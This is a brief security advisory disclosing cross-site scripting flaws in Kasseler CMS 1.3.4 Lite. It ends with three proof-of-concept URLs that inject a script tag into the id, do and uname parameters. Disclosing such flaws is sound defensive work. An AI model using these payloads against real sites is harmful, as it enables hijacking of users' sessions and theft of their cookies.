source: https://www.securityfocus.com/bid/37435/info

Kasseler CMS is prone to multiple cross site scripting vulnerabilities because the application fails to sufficiently sanitize user-supplied data.

Attacker-supplied HTML or JavaScript code could run in the context of the affected site, potentially allowing the attacker to steal cookie-based authentication credentials; other attacks are also possible.

Kasseler CMS 1.3.4 Lite is vulnerable; other versions may also be affected. 

http://www.example.com/index.php?module=[target]&do=View&id="><script>alert();</script>
 
http://www.example.com/index.php?module=[target]&do="><script>alert();</script>
 
http://www.example.com/index.php?module=Account&do=UserInfo&uname="><script>alert();</script>